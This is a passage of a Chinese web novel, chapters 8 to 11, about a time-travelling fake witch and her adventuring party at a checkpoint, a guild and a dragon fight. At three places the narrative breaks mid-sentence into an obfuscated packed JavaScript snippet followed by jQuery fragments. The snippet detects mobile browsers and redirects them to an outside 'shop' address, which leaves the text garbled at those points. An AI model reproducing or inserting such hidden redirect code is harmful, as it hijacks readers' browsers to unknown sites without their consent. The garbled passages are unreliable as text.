可她要是现在撇过头去，之前立的阴森女巫形象可就全毁了。有哪个能做人体试验的女巫是连砍头都看不得的？更何况，在场哪怕是最瘦弱的瑟琳都对这场景一副泰然自若的样子，她更不能在这群新认识的陌生人面前露怯。 要是连女巫这个人设都没了，万界之门这个神器在她手里又有什么用？哪怕知道这是个坑，她也只能一条路走到黑了。 话虽如此，可是宁三箴斗篷下的手依旧在微微颤抖。 晚风拂过，一个温暖的掌心将她颤抖微凉的手包裹。 “别怕。”陆雪莹对她做口型，“你还有我。” “还有这十公斤鞭炮。” “你这家伙到底为什么要在家里放十公斤鞭炮啊？搬家的时候还要带走，重死我了。” “此事说来话长。”宁三箴合上眼，开始回忆，“那是一个风和日丽的下午，我走过烟花店，发现那里正在搞年中大促销活动……” “停止！接下来的事情你不说我也知道了。”陆雪莹扶额。 洛里斯则估算了一下和对方的距离，对宁三箴摇摇头：“不行啊，我要是跑过去跪下，很有可能会被当成敌袭，直接送命。” 瑟琳给了他头顶一个爆栗：“你居然真的再考虑这种事情吗！” “真正的骑士就应该举行一对一的决斗。你应该先向对方发起决斗。”简在一旁点头，“当然，如果对面一定要多打一的话，我们也可以为你发起正义的偷袭。” 不是，这个队伍里有正常人吗？ 宁三箴看着面前越来越近的带甲佣兵和他们手中举着的六芒星形状、散发着微光的圣杯。每个进入火石城的人都要经过它的审验，而任何让六芒星发出闪烁的白光的人，都会被拉到一边进行严格的审讯。 与其说是审讯，不如说是屠杀。 血淋淋的尸体被成车拉走，尸体上的财物被红了眼的佣兵们瓜分殆尽。 浓烈的血腥味冲得人头晕。血色渗入泥地，留下红黑色的痕迹，与城墙上火石的红芒交相辉映。 那个六芒星圣杯……是这里的教廷用来识别异端势力的工具吗？宁三箴开始思考，不知道万界之门的力量会不会被识别为异端。而且就算她能通过测试，她也很担心瑟琳，她的魔法师身份看起来并不能亮在明面上。 虽然她们只是同行了一小会的旅伴，但是失去这个包容度如此之高的团队，宁三箴一时半会也很难找到能够帮助她快速了解这个世界的窗口。 实在不行就用那十公斤鞭炮吧。她想，就算是对于有魔法的世界，这当量应该也已经足够她们脱身了。 瑟琳长袍下的魔法书微微翻动，简握紧了手中的长鞭。 洛里斯看了她们一眼，叹了口气，随即抬起头邪魅一笑：“女士们，接下来就轮到我大展骑士精神的时候了。看看老洛里斯是怎么和这些见鬼的佣兵对峙的吧。” 在场诸位女士不语，只是抓紧了手中的武器。 佣兵腰间的长剑划过城门口排成长队的车辕，发出刺耳的刮擦声。 他们身上的酒味和血腥味逐渐逼近，手中的六芒星圣杯散发着柔和的圣光，此刻看去这代表光明的光芒却无端显得有些诡异。 在他们即将走到驴车前时，洛里斯长剑一挥，拦住了他们，一块描绘着火焰与巨龙的精美令牌被剑尖挑着递到他们眼前：“奥梅尔家的人，不至于被拦下吧？” 那佣兵和瑟琳的反应如出一辙，他冷笑一声：“谁知道你是真是假？” “奥梅尔的家徽是被历任教皇祝福过的，在教会神光下会折射出圣火的光芒。如果你和你的佣兵队长接受过上任前的基础培训就会知道这一点。” 佣兵一把夺过他剑尖的令牌：“老子当然知道，还用你说？” 圣杯中的六芒星自带教会的神光，自然也可以用于认证家徽。铁质令牌被扔入圣杯，发出清脆的响声，最后一股冲天圣火从升杯中燃气，红色的火光中，甚至有巨龙的身影若隐若现。 那佣兵吓得差点将圣杯扔出去，被佣兵队长在背后狠狠拍了一巴掌：“给老子拿稳了，要是摔碎了，把你卖了都赔不起！” 他随即转向洛里斯，穷凶极恶的脸上竟也带上一丝谄媚：“大人，让您受惊了。” 他抬手示意其他佣兵放行。 “但您身后的行李……” 洛里斯看着驴车上陆雪莹背着的、垒成小山似的大包小包，眼角一阵抽搐：“有什么问题吗？还是说，你连我的女人都想查？” 宁三箴听到了斗篷下瑟琳捂着嘴干呕的声音。 “我当然不敢。”那佣兵队长显然比身边的愣头青佣兵圆滑得多，“只是您也知道，教廷圣女恶堕成女巫，害得各地都纷纷兴起了这种邪恶的存在。我们谨慎一点是为了您和大家的安全。” 洛里斯皱了皱眉，扔给他一袋金币：“难道我连让我的女人免受惊吓的权利都没有吗？奥梅尔家竟然会雇佣你这样不讲道理的家伙！” 飞扬跋扈是贵族应有的态度，佣兵队长非但没有为这种唾骂感到不爽，反而倒是扯起带着伤疤的半边唇角笑了起来，眼中闪着阴鸷的光。这种飞扬跋扈的贵族才是他这种职业领主佣兵最擅长对付的对象。 “您无权这样要求，因为尊敬的奥梅尔公爵大人即将莅临此地。在他面前，任何奥梅尔家族人的特权都会荡然无存。”这位佣兵队长显然在从事这一行当之后在敬语上下了不小的功夫，但他的用词和发音仍旧带着强盗特有的血腥气，听感十分别扭。 宁三箴敏锐地注意到，在听到奥梅尔公爵即将到来的时候，洛里斯的表情僵硬了一瞬。 难道他的身份证明是高仿品？ 在真正的家主面前，任何高仿品都不过是烈阳下的残血，是真是假一照便知。 佣兵们已经一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182867|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥而上开始打开包裹搜查行李，只是鉴于洛里斯“奥梅尔”家族的身份，克制了搜查时的强盗行径，不至于把东西扔得满地都是而已。 宁三箴那些现代的器具，搞不好真的会被这个世界的人被认为是女巫的魔具。 她的心脏逐渐揪紧。 洛里斯的假身份没什么用，她应该怎么办？真的和瑟琳一起用武力杀出去吗？刚到这个世界就被追杀，这是造了什么孽哟…… “队长！这里有类似图书的用品！”一个瘦小的佣兵大喊大叫道，“不会是危险的魔法书吧！” “该死。”瑟琳指尖闪过微光。 宁三箴看着那似曾相识的包装袋，大脑迅速闪回，想起了自己到樱花国旅游时路过某个特价漫画店的明媚下午…… 那东西，如果她没记错的话，应该是…… “噢！不！洛里斯，阻止他们！”宁三箴大惊失色。任由他们翻下去，将会发生比她的大头照被贴上通缉令更可怕的事情。 听到这话，那瘦小佣兵搜查的手法更加粗鲁放肆，甚至还带着一丝即将抓到把柄的洋洋得意。 包装袋封得太死，徒手拆不开，他甚至迫不及待地直接用匕首划开那朴素的黑色包装袋，直接将那一整沓书推翻在了地上。 “让我来揭开这群邪教徒的真目！” 四分之一人高的书堆应声倒地，哗啦啦地滚落在地上，朴实无华的素色书皮下，令人血脉偾张的激情画面出现在了在场所有人面前。画面中描绘着的几人衣着清凉，甚至没有衣着，正在以几种难度极高的姿势，颠鸾倒凤不知天地为何物，画面中主人公的**甚至还挂在另外几位主人公的**上。 这是宁三箴去樱花国旅游时偷偷带回来的典藏版少女漫，其剧情之大胆，描绘之细致，用色之细腻，令人见之忘俗，很容易便陶醉其中。 连异世界的人们都看呆了。 洛里斯率先反应过来，借题发挥，对着佣兵队长抬手就是一巴掌：“该死！看看你的狗屎手下都干了什么！” 陆雪莹适时一把推开了呆滞的瘦小佣兵，小跑过去收拾那一地散落的漫画。她还接着洛里斯的话演了起来：“对不起，大人！对不起，我没能保护好你的珍藏。” 这口大锅扣在洛里斯头上，把他扣得老脸通红。不过他反应很快，接着陆雪盈的话头继续发怒，拉着身后的几位女士气冲冲地往城门内走：“一群没礼貌的乡巴佬！不识货的铁皮鬼！” 这漫画带来的冲击和尴尬太大，众人都趁着佣兵们呆站在原地反应不过来的时候一股脑溜进了城门里。 身后隐隐还能传来一些年轻佣兵和城镇居民们的惊叹：“哪里买的？我也想要。” “画得真好。” “这优美的人体……鲜艳的色泽……不愧是专供贵族的画集啊。” “这就是那位大人需要四个女伴的原因吗……” “狗屎！他看起来弱得像只鸡崽，难道还能驾驭这个吗！” “不对不对，那画集分明是一女多男啊，说明那位大人的爱好是……” “啧啧啧……” 9. 第九章 火石城内的氛围显然比城外轻松很多。 这是一座繁华的城市。 尽管已经设置了严格的关卡，前来赶集的人流依然络绎不绝，铁匠铺内火石与铁块相撞的嗡鸣声与教堂的钟楼共振，酒馆内肉干与烤黑面包的香气与橙黄色的夕阳交织，在渐起的清冷晚风中带来些许暖意，还有许多退了集市赶在太阳落山前回到乡村的自由农们。 小牛犊亦步亦趋地跟在主人身后，尾巴扫过老旧的红石墙，带起一阵金红的飞尘，驴牛骡马吵吵嚷嚷地朝着城门口挤去，空气中仿佛也挤满了被牲口们的体温捂热了的皮毛的味道。 这味道着实不太好闻。 简的脸上却不由自主地露出了一丝怀念。 “布尔斯特的老牛们跟我闹脾气的时候，它们的皮毛也散发着这个味道。” “那不如回去看看？”洛里斯牵着马匹在牛群中开道，“什么讨伐恶龙之类的梦想，对你来说也有些太过遥远了吧？” “不。”简摇摇头，“妈妈说过，决定去做的事情一定要坚持做到底。” 洛里斯轻笑一声：“还是小孩子天真。” 瑟琳却悄悄握了握简的手：“你可以做到的。我来做你勇者小队的治疗牧师怎么样？” …… 几人说说笑笑走到了旅馆的门前，然后面临着一个严峻的问题。 “你们谁带钱了吗？” 洛里斯发出了灵魂拷问。 简摸摸脑袋，从衣兜里掏出十五枚铜币：“这是我仅剩的路费了。在遇到你们之前，我还想着在城镇里做些苦力活积攒旅费呢。” 瑟琳不语，只是红着脸把头撇过去：“看我做什么？等……到了西大陆，我会有钱还你们的！” 将来有钱就等于现在没钱。 宁三箴也摇了摇头，毕竟她是从异世界穿越过来的，软妹币在这里不通用。不过这倒是提醒她了，不然下次穿越给自己安一个富商人设呢？无论在哪里，钱总是最好的通用语吧。 大家的目光转向洛里斯。 到了他展现自己的贵族身份和骑士气度的时刻了。 “你们……不会觉得我是个有钱人吧？”他小心翼翼地试探道。 “证明你奥梅尔身份的时刻到了。”陆雪莹看热闹不嫌事大地加了一句，“去付账吧，我们的‘丈夫’？” 洛里斯摸遍浑身上下，找出十二枚铜币一字排开：“这就是我所有的资产了。” “你的钱都被拿去买假身份了吗？”瑟琳叹气，“怎么能穷成这样？” “不过身无分文的我也没资格说你。” 宁三箴意识到一个事实：他俩不会是互相觉得对方穿得光鲜亮丽不像没钱人的样子，才提出组队想把对方当短期饭票的吧？ 结局就是三个杀猪盘面面相觑。 不要问为什么有三个。 宁三箴叹气。 洛里斯摸摸鼻子，计上心来：“既然如此，我还有一个后备计划。” 几人站在猎龙人公会的门口面面相觑。 公会这个名字让宁三箴想起自己玩的西方幻想类游戏中提交任务领取奖励的地方。但这里却没有那些游戏的公会所拥有的精致建模。 一块写着“猎龙人公会”的破木板歪歪斜斜地插在门外，店内漆黑一片，店外门庭冷落，连停驻的鸟都少见，和这条街外集市的热闹景象形成了鲜明对比。 一个身材健硕的中年女子用白布将红发包起，面带怒气匆匆忙忙地从黑暗里钻了出来。她嗓音粗犷，语气极不耐烦：“来干什么的？发布委托，还是注册成猎龙人？” “您好。”洛里斯面带微笑，单手扶墙靠近那红发女子，“我们来注册成为猎龙人。” 红发女子的反应和瑟琳一样充满了嫌弃，她冷笑一声：“哈！我就知道，又是来蹭吃蹭喝的。” 她朝着洛里斯一摊手：“你们的猎龙人小队有没有经过魔法师协会认证过的魔法师？有没有经过占卜师协会认证过的占卜师？有没有经过教廷认证过的牧师？” “没有的话就给我滚蛋。” 她气势很强，高大的洛里斯在她面前也只是低头挨训。 “我们……” 正当洛里斯左右为难之际，瑟琳抬头问道：“这些证明……需要登记吗？” 红发女人定定地看了她一眼，语气平和了一些，她朝店门外两侧看了看，侧身示意她们进去。 几乎是在她们进门的一瞬间，大门便“砰”地一声自动合上了。 豆大的烛火在阴冷潮湿的墙壁上投下扭曲的阴影，油灯颤颤巍巍地洒下仅剩的灯光。窗户开得很高，太阳的残辉在灰尘里飞舞，看起来异常遥远。 这看起来倒不像什么工会的场所，倒像是个监牢。 “有什么区别呢？”红发女人似乎看出了宁三箴的想法，“工作不也是将人捆绑在固定的流程中不能离开吗？” “人类若想生存，必先舍弃自由。” “但是话又说回来了。” “一切禁锢，都可以是自由的序章。” 红发女人打了个响指，随着她的话音落下，墙壁上的油灯仿佛有生命一般排着队次第燃起，昏暗的房间一时间变得灯火通明。 “欢迎来到猎龙人公会。” “请出示您的牧师凭证。”红发女人翻出一本厚重的牛皮手册，对着瑟琳伸手，“放心，猎龙人公会有完整的保密措施，不会让你的信息外泄。” “你怎么知道我是牧师……” 女人轻笑一声：“小妹妹，你身上教会的气息都快溢出来了。如果是偷跑出来的，就需要好好遮掩。如果不是偷跑出来的……” 她眼睛扫过洛里斯和简，最终在宁三箴和陆雪莹身上定了定，棕色的眼睛里露出些许疑惑。 “那看来您不是很守规矩。” 瑟琳咬唇，她单手拂过手腕，露出衣袖下教会的圣纹：“这个……应该可以当做凭证吧？” “可以。当然可以。”红发女人依言用羽毛笔在牛皮手册上写下了什么，随即转向洛里斯，“那你呢？真骑士还是假骑士？” 洛里斯不语，一枚金色的带着盾牌与利剑的纹章出现在他手心。 红发女人眯起眼对着光看了一下，鉴定为真货。 “鉴于最近来猎龙人公会蹭吃蹭喝的人实在是太多，你们必须完成一个入门委托才能注册成真正的猎龙人小队。”红发女人翻看着身边成堆的文件，“当然，委托不会太难，尤其对你们这支实力强劲的小队而言。” “作为回报，公会会为你们提供简单的食宿。” “还有什么问题吗？”红发女人伸了个懒腰，递来一张纸，“没有的话，走廊一路到底是厨房，随便烤点黑面包吃，两侧都是空房间，自己挑一间住，不用告知我。” “委托信息在这张纸上，委托人的报酬是另算的。所以，最早明天，你们就能滚出去住更好的旅馆了。” “好了。回去休息吧。记得给自己的小队想个名字，什么冰霜狼王，火焰巨龙之类的用烂了的名字最好给我咽回去。” 红发女人，她自称为潘多拉女士，就这样摆摆手将她们赶去房间里休息了。 食宿问题解决了，宁三箴脑袋里的疑问却没有。 既然这个世界都有合法的魔法师协会了，为什么教廷还会将野生的魔法师视作女巫铲除？有证的是正规军，没证的直接去死，这也太极端了吧。 而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任务是拯救世界，可是也没告诉过她到底这个世界因为什么陷入危险，又该怎么解决。 再说万界之门的作用原理。姥姥给她留下013是为了引导她更好地掌握万界之门的运用方法，那么发布的任务也一定和万界之门的运行息息相关。 任务要求拯救世界也就是说门的运行与拯救世界必然存在某种联系。是因为拯救世界是门运行的某种底层逻辑？必要条件？还是说拯救世界或者在这个过程中获得的东西是门运行的能量来源？ 顺着这条路径思考下去的话，那些初代救世主在刚拿到万界之门的时候是怎么催动它运行的？也和她一样靠装逼？可她不觉得姥姥是一个很装的人啊。 她调出能量面板，刚刚体内的门似乎有一点吸收了能量之后的波动。 上涨到了2%，收支明细现实这1%由洛里斯、瑟琳和简共同提供。 她刚刚什么也没做，唯一的不同就是在闯关口的过程中加深了和她们之间的羁绊和她们对她这个大女巫形象的认识。 用简的话说，如果不是非常厉害的大女巫，根本不可能有这么多精美的藏书。 那么，真正驱动门的能量，难道是来自他人的信任？ 正当她在思考的时候，瑟琳扭扭捏捏地走到了她身边，向她讨教能够隐藏身份、外貌和气息的高级魔法。 宁三箴的大脑开始高速旋转，这种魔法她根本不会啊。 难道说刚捂热的身份马上就要装不住了吗？ 就在这时，陆雪莹正提着大包小包的行李往房间走，想到她那堆行李，宁三箴又有了主意。 “先别急。我有一计。” 10. 第十章 “你又是上哪个特价商品店淘来的染发膏啊！”陆雪莹惊叹，“红的绿的蓝的紫的黑的白的……打算开店吗，宁老板？” “这是我珍藏的特制魔法染发膏。”宁三箴一本正经地向三位异世界人推销，“它可以改变你头发的颜色。” 而在魔法界，至今还没有哪个魔法能做到这一点。 瑟琳对此感到惊叹。关于人体和生命的魔法至今仍是魔法界的知识盲区，即便是自诩为全潘塔洛斯馆藏最丰厚、学识最广博的学城也无人能精准改变人类的任何外观。 治愈疾病和伤痛则是独属于教会的领域，人们将牧师们的本领视为神的恩典。 前辈不愧是前辈啊。瑟琳想，她到底藏着多少普通魔法师无法想象的精妙魔法？ 感受到体内万界之门逐渐增长的能量，宁三箴笑开了花：“来来来，坐好，这个魔膏生效可需要一段时间。” “我也要用吗？”洛里斯疑惑。 “当然，我们是一个团队。”其实是因为陆雪莹刚刚让她多用掉点染发膏，清空点库存好减少些她的负重。 此外，考虑到瑟琳在潘多拉对她的两个推测中选择了寻找遮掩身份的办法，说明她的确是偷跑出来的，而且有被人发现的风险。如果有心之人留意，很容易将一个落魄骑士、一个金发牧师、一个农女和两个黑发女巫的独特组合联系起来，所以最好的办法就是所有人一起改头换面。 更何况宁三箴和陆雪莹的黑发在这个世界也有些显眼，同样需要遮掩。至于黑色瞳孔……在路过促销美瞳店的时候她也略有出手。 “嗯……女巫阁下，我认为这个颜色似乎并不能起到不引人注意的效果。”洛里斯的抗拒表现得很委婉。 一头鲜艳的橙发如同茅草一般在他头顶飘扬。原本的亚麻色头发配上这样潦草的发型也许还能显出他的一分男子气概，但现在看来，就只剩下九分的愚蠢气质了。 “没办法。”宁三箴摊了摊手，“低调的颜色得分给瑟琳。” “你看我们两个。”她指了指陆雪莹和自己，“不也是一个粉毛一个黄毛吗？” “这样一看。”宁三箴看着一屋子的黄毛粉毛橙毛棕毛紫毛，“感觉我们像是什么会骑着鬼火炸街的杀马特少年团。” 陆雪莹闻言憋不住笑了起来：“那不然我们就叫鬼火小队得了……” “不行，不行，这什么称呼。还不如人家冰霜狼王和火焰巨龙呢……” 可是简透亮的眸子却扫了过来，眼里闪着兴奋的光：“好帅的名字……我们能不能就叫这个名字？” “我也觉得不错。”洛里斯摸了一把自己鲜艳的橙发，表示这个名字很符合小队的形象。 最终“鬼火”这个名字以3:2的票数胜过了宁三箴之后亡羊补牢提出的“血色黎明”和“告罪乌鸦”，成为了这支新成立的猎龙人小队的名字。 夜晚。月明星稀，晚风吹拂，夜莺啾鸣。 宁三箴躺在床上，满脑子“不如就叫鬼火小队吧。” “不如就叫鬼火小队吧。” “不如就叫鬼火小队吧。” 她到底为什么要嘴贱提这一茬啊！ 不过好在，她安慰自己，只是同行一段路，搞不好进了西大陆，大家就要各奔东西，小队就会解散了。 这个离谱的队名不会存在太久的。 一定。 次日一早，精力充沛的简就挨个敲门邀请大家起床了。 清晨的第一缕阳光洒在宁三箴混沌的眼皮上，耳边是简和陆雪莹对话的嗡鸣，她的大脑还在处于缓慢开机的状态，只能解析出城郊遥远的鸡叫以及教堂边的钟楼晃荡出的飘渺钟声。 “从这里出发到发出委托的村庄需要走一个上午的时间。”简拿着地图压低了声音和陆雪莹交流，“潘多拉刚刚来提醒我们城郊也可能会有教廷的感应装置，最好不要在这段路途使用赶路相关的魔法。这样我们至少也需要半个上午。此外，在村庄中调查也需要时间。” “按照魔物喜欢阴暗的习性，我们必须在夜幕降临之前完成调查和清理行动。”简补充道，“绝大多数魔物都会随着对峙的时间延长而越变越强。我们需要的是快速完成战斗。” 有理有据的论述，宁三箴不得不因此和自己心爱的床诀别。 在提到清缴魔物和讨伐巨龙的事情上，简的话变得异常地多。她就像一本魔物百科和战争全书一样，从几人坐到餐桌前开始吃早饭起，就源源不断地向她们科普着不同魔物的弱点和应对方式。 宁三箴不得不相信她那个讨伐巨龙的梦想绝不是少女在看完骑士小说之后兴冲冲的臆想，而是一种更为恒久和坚定的理想。 洛里斯和瑟琳都因为她这红光满面的兴奋感而沉默。 也许是想起了自己曾经的劝阻，为那无知的劝阻感到愧疚吧。 “启程吧！”简好像也很习惯这种不被理解的情形，她只是笑着拉出驴车招呼大家上车，“走吧，朋友们。向着邪物和巨龙，前进吧！” 发出求援的村庄位于火石城的西北方向。 西北地区向来是遭受巨龙肆虐和魔物侵扰的重灾区，很多村庄都会自发或者在领主的帮助下建立起堡垒，训练和保留一定数量的民兵，在某些人口较多的村庄也建起教堂会派驻一定级别的牧师和神甫来守护村庄。 按理来说，不会至于沦落到需要向猎龙人公会求援的地步，那是被他们不齿的柔弱的南方人才会采取的做法。 根据简的分析，混到这种山穷水尽的地步，即便公会将这次委托标记为简单，也不能对村庄内的情况抱有太过积极的态度。 但村庄内的情形倒没有简想象的那么严峻。 尽管村口的堡垒一些防御设施有所破损，地上还撒着一些暗红色的血迹，但人们的正常生活还在继续，农人们依旧带着耕具赶着成群老牛们前往地里耕种，只是那人流中有不少是妇女和半大孩子。 五人逆流穿过牛群，发现村长正在牛群的尽头等待着她们。 在跟着村长逐渐深入村庄的时候，她们才逐渐发现了一些躺在空旷的仓房中的伤员，一些瘦弱的妇女和年幼的孩子们正在清洗他们的伤口或者更换染血的绷带。 “教廷的牧师呢？”瑟琳皱了皱眉，她抬起手，神圣的白光立刻笼罩了路边一个正在呻吟着的断腿男子，他的左腿胫骨外露，皮肤和肌肉边缘残留着巨齿和利爪撕咬过后的痕迹。在白光下，不断涌出的鲜血渐渐止住。 “去神恩城求援了。”头发花白的老村长用拐杖敲了敲地，“领主们的骑士和佣兵又都抽调去火石城迎接奥梅尔公爵大人了。我们也是没办法，才想到像那些南方人一样向猎龙人公会求援。” “结果就打发来了这几个人。”老村长咳嗽两声，指向村口的某件空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182869|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房，“算了，那间屋子借给你们住，里面还有些烤饼和黑面包。” “只希望牧师小姐能帮忙多救助几个村民吧。” 说罢他就自顾自地走了，看起来是对她们解决村庄内魔物肆虐的事不抱希望。 “被瞧不起是很正常的事。”几人想起临走前潘多拉对她们的嘱托，“因为猎龙人公会的势力在北方不怎么受认可。” “不过也无所谓，你们的精神损失已经被囊括在委托费里了。无论如何，解决问题，拿到委托费，这就是你们要做的。” “先从周围的林地开始探查吧。”简拍了拍伙伴们的肩膀，力图将大家的兴致调动起来，“想想委托费，想想我们的下一顿。我们接下来还要踏上伟大征程呢，就从这村庄里的小小魔物开始吧。” 宁三箴点头，无论如何，这是一个了解这个世界的好机会：“简，你认为这里的魔物符合你之前说的哪种类型，我们又该如何应对它们呢？” “我们来的路上一路平安，说明这是一种具有潮汐性的魔物。”瑟琳接过话头，“它们要不昼伏夜出，要不就会有特定的出没条件。” 她看了眼冒蚊香圈的简，又把话改了改：“潮汐性就是说，它一会出来一会不出来，满足一定要求才会出来。” 简笑着摇摇头：“我没读过什么书，但不至于听不懂这些。” “我犹豫的原因在于——你们有没有发现，周围一点声音都没有了？” 宁三箴身躯一震，这才发现周围原本的牛叫声，农人间或的交谈声，伤员痛苦的呻吟和妇人处理伤口时的抚慰声都恍如清水入海绵，消失得无影无踪。 房屋周围是一种诡异的寂静。 正午的烈日投下暖阳，几人站在房屋的阴影中交谈，却无端感受到一股彻骨的凉意。 这凉意让宁三箴回忆起刚进入事务所的时候，诡异的佛头，身边伙伴身上燃烧的莲花纹身…… 这片阴影浓重而粘滞，阴影之下是浓重的黑，仿佛多看两眼就会被吸进深渊。 “我们还是站到太阳下暖和暖和。”陆雪莹搓搓手臂，打算拉着宁三箴往向阳面走。那阴影紧紧地跟随在她身后蠕动。 “等一下，这里就是向阳面啊？” 这里出现阴影，不符合物理定律吧！ 就在陆雪莹点破这一点的瞬间，那阴影仿佛有生命一样站了起来，散发出浓郁的恶臭，扑向了她。 它的动作快，宁三箴的反应更快，她几乎是在陆雪莹开口的一瞬间就反应过来了什么，一把将她推到阳光下。与此同时，体内万界之门催动，一道明亮的圣光从她指尖涌出。 “驱散！” 驱散术是常驻技能，她用得毫不心疼。 阴影与圣光碰撞散发出了强烈的冲击，众人都被这波动震得倒退了几步。 阴影似乎忌惮宁三箴手里的圣光，蠕动着正要离开。 宁三箴却不会让它就这样离开，驱散术不要钱似的往外放，圣光一闪一闪，霎时把这片地方变得如同电焊车间一般。 阴影退却了，勉强站起来的瑟琳表情却依旧很凝重，简甚至已经举着木棍朝她赶来。 “小心你身后！” 洛里斯被阴影的从属一击即中，倒地不起，嗓音倒是还很洪亮。 我的身后……？ 宁三箴转头。 她的瞳孔瞬间紧缩。 11. 第十一章 在她身后，阴影黏稠得像未炼化的石油，缓缓倒流，凝塑成一个十人高的一座巨山，那巨山上的阴影又逐片剥落，蚀刻出一个庞然大物的雏形。它的表皮和蜥蜴皮没什么区别，每一条纹路和起伏的颗粒都清晰可见。一大滴黑色粘液落下，粗壮的头颅上，一对巨眼怒目圆睁，鼻孔也像漆黑的山洞，一缕缕黑烟正顺着它的吐息喷出。 这并非宁三箴幼时耳熟能详的、作为图腾和祥瑞的龙，而是在西方幻想故事中，时常作为关底BOSS，代表着战争和毁灭的恐怖怪兽——一条漆黑的巨龙。 众人站在原地一动不动，这并非是因为她们被眼前的恐怖敌人震慑了心神，而是因为巨龙身上掉落的那些黑色粘液将她们的脚死死地黏在了地上。 即便宁三箴和瑟琳频频使用神术和驱散术驱散了部分阴影，它们依旧如同有生命有组织一般源源不断地朝她们涌来。 “屏住呼吸！”简高喊道，“它的吐息是有毒的！” 瑟琳闻言立刻展开了神术结界，隔断了黑雾的入侵。 宁三箴见驱散术没用，大脑开始飞速运转，有什么办法可以击退恶龙？ 它看上去没有实体，只能依靠魔法攻击。 但偏偏她只是个假魔法师，怎么能做到和瑟琳一样起手就是结界呢？ 她开始反观过去的经验检索办法。当时在事务所，她将陈雨桐对姥姥的信任转化为了对自己的信任，基于大家都耳熟能详的佛家手段驱散了诡异的佛头。 她相信经过这段时间，小队里的同伴们都对她有了一定程度的信任。如何将这种信任转化为击退恶龙的力量？ 她想起了自己看的影视作品中常见的魔法师形象。 “聆听我的召唤，无尽星空的群星。”她的指尖亮起白光。驱散术是一个很好的氛围灯。 “三眼的乌鸦在枝杈上低语，真理让我窥见时间尽头的钟楼。”不知道在哪看的，反正先背上。 “于此处，我，以我的名义召唤，”她卡壳了。 “时间尽头的门扉，万物的起始与回环。”她开始瞎编。 “将这邪物遣返。回到地狱去！”反正不成功她就说自己魔力不足。 体内的万界之门有了反应。 她能感受到能量被大幅度抽离的感觉，就像刚刚穿越来时那样。 平地而起的风将她一头粉色的头发吹得冲天而起，指尖的白光开始自动勾勒一个繁复艰涩的魔法阵。巨龙感受到了威胁，它仰头朝天怒吼，张嘴朝着宁三箴咬来。 “保护前辈！”瑟琳立刻冲到她身前，打开魔法书，书页哗哗作响，巨大的神术光盾瞬间展开。 简和陆雪莹则在她身边清扫着源源不断的魔影。 “回去，回去！回到地狱去！”管它有没有用呢，口号先喊出来。 宁三箴指尖亮光更甚。 巨龙发出痛苦的怒吼，它摇摆着的头颅砸穿了周围不少平房和牛棚。它的嘴中喷出黑色的火焰和魔雾，瑟琳的神术光盾在瞬间破裂。 黑色的雾气顿时四散开来。 宁三箴想到了简的提醒——魔雾有毒。 可是此刻她要是停止供应体内的力量，驱散巨龙就彻底没希望了。反正中了毒还可以想办法解，她抬手将几位伙伴揽到身后，甚至故作镇静地朝她们眨了眨眼：“真正的女巫，可不会害怕毒物。” 她面朝着巨龙，将万界之门最后一丝力量提出：“回你的老家去吧！” 魔法阵爆发出耀眼的白光，刹那间，魔法阵内像是有群星闪烁。 巨龙一阵哀鸣，化作一滩泥水，消失在了众人。 阳光重新洒落下来。 “箴宝！你做到了！”陆雪莹蹦起来，笑着勾住她的脖子，“吓死我了，还以为我们要丧命于此了。” 瑟琳的眼睛已经变得晶莹：“前辈您为了我们……” 简则从上到下把她摸了一遍，像只在确认肉骨头的小狗：“这里没事，这里也没事，还好还好。” 洛里斯刚刚摆脱眩晕，从地上坐了起来：“发生什么事了？” 瑟琳眉头一挑，抓着他铠甲的衣领把他从地上提了起来：“你这家伙！在我们战斗的时候睡大觉！” 简又转过头去抱着她，试图平息她的怒火：“好啦好啦。我们要保护弱者。” “也是。”瑟琳叹气，“对于一个人生理想是成为吟游诗人以及找到一位富有的女贵族结婚的骑士，确实不能抱太大期望。” 总之场面一时很热闹。 在她们打打闹闹的时候，陆雪莹抓着宁三箴的袖子，把她又从头到尾检查了一遍。 “没事的。我感觉自己活蹦乱跳的。”她试图安慰陆雪莹，“不会有事的啦。” “那你解释一下这是什么？” 宁三箴低头，一个龙牙形状的黑色纹印出现在了她手腕上。 这印记很小，并不引人注目。 在翻看手腕的同时，宁三箴发现陆雪莹手腕上同样出现了龙牙形状的黑色纹印。 她心里一沉，立刻召集打闹着的众人查看自己身上有无奇怪的黑色印记。 果不其然，五人手腕间都存在这样的黑色龙牙印记。 她的心沉了到底。 “这是……某种诅咒？”潘多拉点起油灯，查看大家的手腕。 一模一样的位置，一模一样的形状，一模一样的黑色龙牙印记。 她身边书桌上的文件哗啦啦地自动翻开，一本散发着古老气息的鹿皮书飞了出来，停在她面前，书页停在了“诅咒”这一章节。 “奇怪……”潘多拉抓着自己的红发，把头发挠成了鸡窝，“怎么会检索不到呢？” “难道……” 